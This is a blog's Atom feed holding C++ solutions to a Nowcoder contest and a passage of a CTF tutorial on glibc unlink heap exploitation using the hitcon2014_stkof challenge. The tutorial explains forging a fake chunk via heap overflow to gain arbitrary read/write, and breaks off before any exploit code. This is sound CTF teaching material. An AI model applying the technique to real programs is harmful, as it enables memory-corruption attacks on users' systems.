<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>Eddy_R</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://rwrkev9s.github.io/</id>
  <link href="https://rwrkev9s.github.io/" rel="alternate"/>
  <link href="https://rwrkev9s.github.io/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, Eddy_R</rights>
  <subtitle>Hack for fun</subtitle>
  <title>Eddy's Blog</title>
  <updated>2026-09-30T18:43:38.109Z</updated>
  <entry>
    <author>
      <name>Eddy_R</name>
    </author>
    <category term="算法" scheme="https://rwrkev9s.github.io/tags/%E7%AE%97%E6%B3%95/"/>
    <content>
      <![CDATA[<h2 id="小月的字符集"><a href="#小月的字符集" class="headerlink" title="小月的字符集"></a>小月的字符集</h2><p>依次检查就完了。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ll long long</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    ios::<span class="built_in">sync_with_stdio</span>(<span class="literal">false</span>);</span><br><span class="line">    cin.<span class="built_in">tie</span>(<span class="literal">nullptr</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="type">char</span> s[<span class="number">3</span>];</span><br><span class="line">    <span class="type">char</span> a,b;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">3</span>;i++) cin &gt;&gt; s[i];</span><br><span class="line">    cin &gt;&gt; a &gt;&gt; b;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">3</span>;i++)&#123;</span><br><span class="line">        <span class="keyword">if</span>(s[i]!=a &amp;&amp; s[i]!=b)&#123;</span><br><span class="line">            cout &lt;&lt; s[i];</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="小月的十六进制"><a href="#小月的十六进制" class="headerlink" title="小月的十六进制"></a>小月的十六进制</h2><h3 id="一开始的错解"><a href="#一开始的错解" class="headerlink" title="一开始的错解"></a>一开始的错解</h3><p>一开始没看数据，企图直接用atoi。当然改成atoll和long long这题也是过不去的，这个是错解。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ll long long</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    ios::<span class="built_in">sync_with_stdio</span>(<span class="literal">false</span>);</span><br><span class="line">    cin.<span class="built_in">tie</span>(<span class="literal">nullptr</span>);</span><br><span class="line">    </span><br><span class="line">    string x;</span><br><span class="line">    cin &gt;&gt; x;</span><br><span class="line">    <span class="type">int</span> k,num;</span><br><span class="line">    cin &gt;&gt; k;</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> dec=<span class="built_in">stoi</span>(x, <span class="literal">nullptr</span>, <span class="number">16</span>);</span><br><span class="line">    num=<span class="built_in">pow</span>(<span class="number">2</span>,k);</span><br><span class="line">    <span class="keyword">if</span>(dec%num==<span class="number">0</span>)&#123;</span><br><span class="line">        cout &lt;&lt; <span class="string">&quot;YES&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span>&#123;</span><br><span class="line">        cout &lt;&lt; <span class="string">&quot;NO&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="正确方式"><a href="#正确方式" class="headerlink" title="正确方式"></a>正确方式</h3><p>十六进制的基数是2^4，也就是说每个十六进制位会对应4个二进制位。想让一个数被2的k次幂整除，当且仅当这个数的二进制表示的末尾有至少k个0。</p><p>那如何算这个数的二进制形式末尾有多少个0呢！？</p><p>首先，刚刚说过了，一个十六进制位对应4个二进制位，所以十六进制数末尾有一个0，相当于二进制数的末尾有4个0。假设十六进制数末尾有m个0，那么他就贡献了4*m个0。</p><p>然后去找第一个非零位。如果这个数可以被2整除n次，我们就称他贡献了n个0。</p><p>那么此刻问题就转换成了，判断4*m+n是否大于等于k</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    ios::<span class="built_in">sync_with_stdio</span>(<span class="literal">false</span>);</span><br><span class="line">    cin.<span class="built_in">tie</span>(<span class="literal">nullptr</span>);</span><br><span class="line">    </span><br><span class="line">    string x;</span><br><span class="line">    <span class="type">int</span> k;</span><br><span class="line">    cin &gt;&gt; x &gt;&gt; k;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (k == <span class="number">0</span>) &#123;</span><br><span class="line">        cout &lt;&lt; <span class="string">&quot;YES&quot;</span> &lt;&lt; endl;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> zero=<span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> n=x.<span class="built_in">size</span>();</span><br><span class="line">    <span class="type">char</span> s;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=n<span class="number">-1</span>;i&gt;=<span class="number">0</span>;i--)&#123;</span><br><span class="line">        <span class="keyword">if</span>(x[i]==<span class="string">&#x27;0&#x27;</span>)&#123;</span><br><span class="line">            zero++;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span>&#123;</span><br><span class="line">            s=x[i];</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(zero==n)&#123;</span><br><span class="line">        cout &lt;&lt; <span class="string">&quot;YES&quot;</span>;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    zero*=<span class="number">4</span>;</span><br><span class="line">    <span class="type">int</span> num;</span><br><span class="line">    <span class="keyword">if</span>(s&gt;<span class="string">&#x27;0&#x27;</span> &amp;&amp; s&lt;=<span class="string">&#x27;9&#x27;</span>)&#123;</span><br><span class="line">        num=s-<span class="string">&#x27;0&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span>(s&gt;=<span class="string">&#x27;a&#x27;</span> &amp;&amp; s&lt;=<span class="string">&#x27;f&#x27;</span>)&#123;</span><br><span class="line">        num=s-<span class="string">&#x27;a&#x27;</span><span class="number">+10</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span>&#123;</span><br><span class="line">        num=s-<span class="string">&#x27;A&#x27;</span><span class="number">+10</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span>(num&gt;<span class="number">0</span> &amp;&amp; num%<span class="number">2</span>==<span class="number">0</span>)&#123;</span><br><span class="line">        zero++;</span><br><span class="line">        num/=<span class="number">2</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(zero&gt;=k)&#123;</span><br><span class="line">        cout &lt;&lt; <span class="string">&quot;YES&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span>&#123;</span><br><span class="line">        cout &lt;&lt; <span class="string">&quot;NO&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="小月的对局"><a href="#小月的对局" class="headerlink" title="小月的对局"></a>小月的对局</h2><p>如果Bob想赢，那么无论Alice按什么顺序出牌，Bob都要给每一张Alice的牌配上一张互质的牌，并且每张牌只用一次。</p><p>那么问题就变成了，对于Alice的每张牌，Bob是否可以找到对应的牌与它互质。如果可以的话Bob胜利，反之Alice胜利。</p><p>那么就变成了二分图的匹配问题喵。</p><p>左边n个点是Alice的牌，右边n个点是Bob的牌。如果gcd(a[i],b[j])&#x3D;&#x3D;1，就在i和j之间连边。</p><p>然后求最大匹配，如果最大匹配等于n，Bob赢，反之Alice赢。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ll long long</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    ios::<span class="built_in">sync_with_stdio</span>(<span class="literal">false</span>);</span><br><span class="line">    cin.<span class="built_in">tie</span>(<span class="literal">nullptr</span>);</span><br><span class="line">    <span class="type">int</span> n;</span><br><span class="line">    cin &gt;&gt; n;</span><br><span class="line"></span><br><span class="line">    vector&lt;vector&lt;<span class="type">int</span>&gt;&gt; <span class="built_in">g</span>(n);</span><br><span class="line">    <span class="function">vector&lt;<span class="type">int</span>&gt; <span class="title">match</span><span class="params">(n,<span class="number">-1</span>)</span></span>;</span><br><span class="line">    <span class="function">vector&lt;<span class="type">bool</span>&gt; <span class="title">vis</span><span class="params">(n)</span></span>;</span><br><span class="line">    <span class="function">vector&lt;<span class="type">int</span>&gt; <span class="title">a</span><span class="params">(n)</span></span>;</span><br><span class="line">    <span class="function">vector&lt;<span class="type">int</span>&gt; <span class="title">b</span><span class="params">(n)</span></span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;n;i++) cin &gt;&gt; a[i];</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;n;i++) cin &gt;&gt; b[i];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;n;i++)&#123;</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> j=<span class="number">0</span>;j&lt;n;j++)&#123;</span><br><span class="line">            <span class="keyword">if</span>(__gcd(a[i],b[j])==<span class="number">1</span>)&#123;</span><br><span class="line">                g[i].<span class="built_in">push_back</span>(j);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    function&lt;<span class="type">bool</span>(<span class="type">int</span>)&gt; dfs=[&amp;](<span class="type">int</span> u)-&gt;<span class="type">bool</span>&#123;</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> v:g[u])&#123;</span><br><span class="line">            <span class="keyword">if</span>(vis[v]) <span class="keyword">continue</span>;</span><br><span class="line">            vis[v]=<span class="literal">true</span>;</span><br><span class="line">            <span class="keyword">if</span>(match[v]==<span class="number">-1</span> || <span class="built_in">dfs</span>(match[v]))&#123;</span><br><span class="line">                match[v]=u;</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> cnt=<span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;n;i++)&#123;</span><br><span class="line">        <span class="built_in">fill</span>(vis.<span class="built_in">begin</span>(),vis.<span class="built_in">end</span>(),<span class="literal">false</span>);</span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">dfs</span>(i)) cnt++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(cnt==n) cout &lt;&lt; <span class="string">&quot;Bob&quot;</span>;</span><br><span class="line">    <span class="keyword">else</span> cout &lt;&lt; <span class="string">&quot;Alice&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="小月的地砖"><a href="#小月的地砖" class="headerlink" title="小月的地砖"></a>小月的地砖</h2><p>重点就在于如何安排，可以让每一列中的1尽量均匀。</p><p>我们把第i个1放到第i%m列里，这样之后每列的1只有可能有两种情况：</p><ul><li><p>⌊S &#x2F; m⌋</p></li><li><p>⌊S &#x2F; m⌋ + 1</p></li></ul><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ll long long</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    ios::<span class="built_in">sync_with_stdio</span>(<span class="literal">false</span>);</span><br><span class="line">    cin.<span class="built_in">tie</span>(<span class="literal">nullptr</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> n,m;</span><br><span class="line">    cin &gt;&gt; n &gt;&gt; m;</span><br><span class="line">    <span class="function">vector&lt;<span class="type">int</span>&gt; <span class="title">a</span><span class="params">(n)</span></span>;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;n;i++) cin &gt;&gt; a[i];</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> cur=<span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;n;i++)&#123;</span><br><span class="line"></span><br><span class="line">        <span class="function">string <span class="title">row</span><span class="params">(m,<span class="string">&#x27;0&#x27;</span>)</span></span>;</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> j=<span class="number">0</span>;j&lt;a[i];j++)&#123;</span><br><span class="line">            row[cur]=<span class="string">&#x27;1&#x27;</span>;</span><br><span class="line">            cur=(cur<span class="number">+1</span>)%m;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        cout &lt;&lt; row &lt;&lt;<span class="string">&#x27;\n&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://rwrkev9s.github.io/nowcoder-round163/</id>
    <link href="https://rwrkev9s.github.io/nowcoder-round163/"/>
    <published>2026-09-30T18:37:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="小月的字符集"><a href="#小月的字符集" class="headerlink" title="小月的字符集"></a>小月的字符集</h2><p>依次检查就完了。</p>
<figure class="highlight cpp"><table><tr>]]>
    </summary>
    <title>牛客周赛round163</title>
    <updated>2026-09-30T18:43:38.109Z</updated>
  </entry>
  <entry>
    <author>
      <name>Eddy_R</name>
    </author>
    <category term="pwn" scheme="https://rwrkev9s.github.io/tags/pwn/"/>
    <content>
      <![CDATA[<p>感觉这块很难理解，看其他师傅的博客也看不太懂…死磕好几天之后决定自己动手写个简单易懂的！</p><h2 id="0x01-什么是unlink"><a href="#0x01-什么是unlink" class="headerlink" title="0x01 什么是unlink"></a>0x01 什么是unlink</h2><p>unlink其实是glibc中定义的一个宏，在_int_free函数中被调用，作用就是把一个空闲的chunk从双向链表中拿出来。</p><p>只有在不是fast bin的情况下才会触发unlink。</p><p>定义如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> unlink(AV, P, BK, FD) &#123;                                            </span></span><br><span class="line">    FD = P-&gt;fd;                                                                      </span><br><span class="line">    BK = P-&gt;bk;                                                                      </span><br><span class="line">    <span class="keyword">if</span> (__builtin_expect (FD-&gt;bk != P || BK-&gt;fd != P, <span class="number">0</span>))                      </span><br><span class="line">      <span class="built_in">malloc_printerr</span> (check_action, <span class="string">&quot;corrupted double-linked list&quot;</span>, P, AV);  </span><br><span class="line">    <span class="keyword">else</span> &#123;                                                                      </span><br><span class="line">        FD-&gt;bk = BK;                                                              </span><br><span class="line">        BK-&gt;fd = FD;                                                              </span><br><span class="line">        <span class="keyword">if</span> (!<span class="built_in">in_smallbin_range</span> (P-&gt;size)                                      </span><br><span class="line">            &amp;&amp; __builtin_expect (P-&gt;fd_nextsize != <span class="literal">NULL</span>, <span class="number">0</span>)) &#123;                      </span><br><span class="line">            <span class="keyword">if</span> (__builtin_expect (P-&gt;fd_nextsize-&gt;bk_nextsize != P, <span class="number">0</span>)              </span><br><span class="line">                || __builtin_expect (P-&gt;bk_nextsize-&gt;fd_nextsize != P, <span class="number">0</span>))    </span><br><span class="line">              <span class="built_in">malloc_printerr</span> (check_action,                                      </span><br><span class="line">                               <span class="string">&quot;corrupted double-linked list (not small)&quot;</span>,    </span><br><span class="line">                               P, AV);                                              </span><br><span class="line">            <span class="keyword">if</span> (FD-&gt;fd_nextsize == <span class="literal">NULL</span>) &#123;                                      </span><br><span class="line">                <span class="keyword">if</span> (P-&gt;fd_nextsize == P)                                      </span><br><span class="line">                  FD-&gt;fd_nextsize = FD-&gt;bk_nextsize = FD;                      </span><br><span class="line">                <span class="keyword">else</span> &#123;                                                              </span><br><span class="line">                    FD-&gt;fd_nextsize = P-&gt;fd_nextsize;                              </span><br><span class="line">                    FD-&gt;bk_nextsize = P-&gt;bk_nextsize;                              </span><br><span class="line">                    P-&gt;fd_nextsize-&gt;bk_nextsize = FD;                              </span><br><span class="line">                    P-&gt;bk_nextsize-&gt;fd_nextsize = FD;                              </span><br><span class="line">                  &#125;                                                              </span><br><span class="line">              &#125; <span class="keyword">else</span> &#123;                                                              </span><br><span class="line">                P-&gt;fd_nextsize-&gt;bk_nextsize = P-&gt;bk_nextsize;                      </span><br><span class="line">                P-&gt;bk_nextsize-&gt;fd_nextsize = P-&gt;fd_nextsize;                      </span><br><span class="line">              &#125;                                                                      </span><br><span class="line">          &#125;                                                                      </span><br><span class="line">      &#125;                                                                              </span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后我们拆开来读一下这个宏</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">FD = P-&gt;fd;                                                                      </span><br><span class="line">    BK = P-&gt;bk;                                                                      </span><br><span class="line">    <span class="keyword">if</span> (__builtin_expect (FD-&gt;bk != P || BK-&gt;fd != P, <span class="number">0</span>))                      </span><br><span class="line">      malloc_printerr (check_action, <span class="string">&quot;corrupted double-linked list&quot;</span>, P, AV); </span><br></pre></td></tr></table></figure><p>从当前要被拿出的chunk <code>P</code>中取出他的FD和BK，去检验FD的bk是不是P，BK的fd是不是P。这里是glibc引入的保护机制，如果没有这个检查，攻击者利用堆溢出伪造<code>P-&gt;fd</code>和<code>P-&gt;bk</code>指向任意地址，从而就能直接造成任意地址读写。</p><p>检查通过之后，就会让FD的bk指向BK，BK的fd指向FD，把P从链表中拿出来。也就是ctfwiki上这个图所演示的过程。</p><p><img src="/img/unlink-list.png" alt="unlink 前后：双向链表摘除过程"></p><p>unlink后的结果就是这样（如下图），也就是上图中第三块去掉P之后的样子。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (!in_smallbin_range (P-&gt;size)                                      </span><br><span class="line">            &amp;&amp; __builtin_expect (P-&gt;fd_nextsize != NULL, <span class="number">0</span>)) &#123;                      </span><br><span class="line">            <span class="keyword">if</span> (__builtin_expect (P-&gt;fd_nextsize-&gt;bk_nextsize != P, <span class="number">0</span>)              </span><br><span class="line">                || __builtin_expect (P-&gt;bk_nextsize-&gt;fd_nextsize != P, <span class="number">0</span>))    </span><br><span class="line">              malloc_printerr (check_action,                                      </span><br><span class="line">                               <span class="string">&quot;corrupted double-linked list (not small)&quot;</span>,    </span><br><span class="line">                               P, AV);                                              </span><br><span class="line">            <span class="keyword">if</span> (FD-&gt;fd_nextsize == NULL) &#123;                                      </span><br><span class="line">                <span class="keyword">if</span> (P-&gt;fd_nextsize == P)                                      </span><br><span class="line">                  FD-&gt;fd_nextsize = FD-&gt;bk_nextsize = FD;                      </span><br><span class="line">                <span class="keyword">else</span> &#123;                                                              </span><br><span class="line">                    FD-&gt;fd_nextsize = P-&gt;fd_nextsize;                              </span><br><span class="line">                    FD-&gt;bk_nextsize = P-&gt;bk_nextsize;                              </span><br><span class="line">                    P-&gt;fd_nextsize-&gt;bk_nextsize = FD;                              </span><br><span class="line">                    P-&gt;bk_nextsize-&gt;fd_nextsize = FD;                              </span><br><span class="line">                  &#125;                                                              </span><br><span class="line">              &#125; <span class="keyword">else</span> &#123;                                                              </span><br><span class="line">                P-&gt;fd_nextsize-&gt;bk_nextsize = P-&gt;bk_nextsize;                      </span><br><span class="line">                P-&gt;bk_nextsize-&gt;fd_nextsize = P-&gt;fd_nextsize;                      </span><br><span class="line">              &#125;                               </span><br></pre></td></tr></table></figure><p>这部分只针对large Bin中的chunk。large Bin除了基本的<code>fd/bk</code>双向链表外，还维护了一条按size排序的 <code>fd_nextsize/bk_nextsize</code>双向链表，用于加速查找。摘除时需要同时维护这两条链表。</p><h2 id="0x02-如何利用"><a href="#0x02-如何利用" class="headerlink" title="0x02 如何利用"></a>0x02 如何利用</h2><p>通过堆溢出伪造一个 fake_chunk，欺骗堆管理器在free的时候把它当成一个合法的空闲堆块进行unlink。</p><p>利用<code>FD = P-&gt;fd;BK = P-&gt;bk;</code>两次操作，劫持一个全局指针，实现任意地址读写。</p><h2 id="0x03-例题-hitcon2014-stkof"><a href="#0x03-例题-hitcon2014-stkof" class="headerlink" title="0x03 例题 hitcon2014_stkof"></a>0x03 例题 hitcon2014_stkof</h2><p>因为buuctf的环境太诡异，这里直接patch成glibc-all-in-one里的libc-2.23来打的本地。</p><p>先对函数进行一个重命名，1是add，2是edit，3是delete。</p><h3 id="函数分析"><a href="#函数分析" class="headerlink" title="函数分析"></a>函数分析</h3><h4 id="add"><a href="#add" class="headerlink" title="add"></a>add</h4><p><img src="/img/unlink-add.png" alt="add 函数反编译"></p><p>从用户输入读取最多15个字符，转为long long之后赋值给size。然后malloc一个对应大小的堆块，把指针返回给v2。</p><p>::s是一个全局数组，用于存储堆指针，dword_602100是一个全局变量，先把他+1，作为::s的索引，将v2存储进这个地方。然后打印出索引。</p><p>这是::s的地址，记一下，一会要用。</p><p><img src="/img/unlink-s-addr.png" alt="::s 全局数组的地址"></p><h4 id="edit"><a href="#edit" class="headerlink" title="edit"></a>edit</h4><p><img src="/img/unlink-edit.png" alt="edit 函数反编译（存在堆溢出）"></p><p>这里存在一个堆溢出，他没有校验我们输入的长度是否大于前面申请的堆块大小。</p><h4 id="delete"><a href="#delete" class="headerlink" title="delete"></a>delete</h4><p><img src="/img/unlink-delete.png" alt="delete 函数反编译"></p><p>这个函数没什么问题，就是删除所选的堆块。</p><h3 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h3><p>这个程序没有关闭输入输出流，所以在首次调用fget和printf函数的时候会创建两个堆块。我们的第一个堆块会被这两个io_chunk夹在中间，没办法利用。所以我们需要额外创建三个chunk，chunk2（伪造 fake chunk 的载体）、chunk3（被free）、chunk4（放 